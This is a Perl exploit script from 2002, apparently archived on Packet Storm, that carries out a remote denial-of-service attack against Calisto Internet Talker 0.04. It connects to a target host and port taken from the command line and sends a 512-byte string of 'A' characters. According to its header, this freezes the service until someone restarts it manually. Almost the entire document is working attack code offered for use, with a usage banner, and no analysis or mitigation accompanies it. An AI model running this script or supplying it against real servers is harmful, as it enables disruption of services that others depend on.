http://packetstorm.decepticons.org/0211-exploits/SF-talkischeap.pl


#!/usr/bin/perl
#
# S e c u r i t y F r e a k s
#  www.securityfreaks.com
#
# Calisto Internet Talker Version 0.04 Remote Denial of Service
#
#
# This exploit will not cause Calisto to crash but rather cause it 
# to freeze until manually restarted. This actually works out better 
# because Calisto comes with an autorun script that would restart it 
# should it crash anyway.
#
# [ subversive[at]linuxmail.org ] - *31/10/2002*


use IO::Socket;


$data = "A";
$size = "512";
$freeze .= $data x $size;

while($_ = $ARGV[0], /^-/) {
    shift;       
    last if /^--$/;
    /^-h/ && do { $host = shift; };
    /^-p/ && do { $port = shift; };
}

if(!$host != 0) {

print <<"ACTIONSSPEAKLOUDERTHANWORDS";
   
   SF-talkischeap.pl by subversive - www.securityfreaks.com
   Calisto Internet Talker Version 0.04 Remote Denial of Service
  

   Usage :  $0 -h <host> -p <port>

ACTIONSSPEAKLOUDERTHANWORDS
exit;

}

my $sock = new IO::Socket::INET ( Proto    => "tcp",
                                  PeerAddr => $host,
                                  PeerPort => $port,
                                );
die "\nCould not connect to $host : $!\n" unless $sock;

print $sock "$freeze";
close($sock);
exit;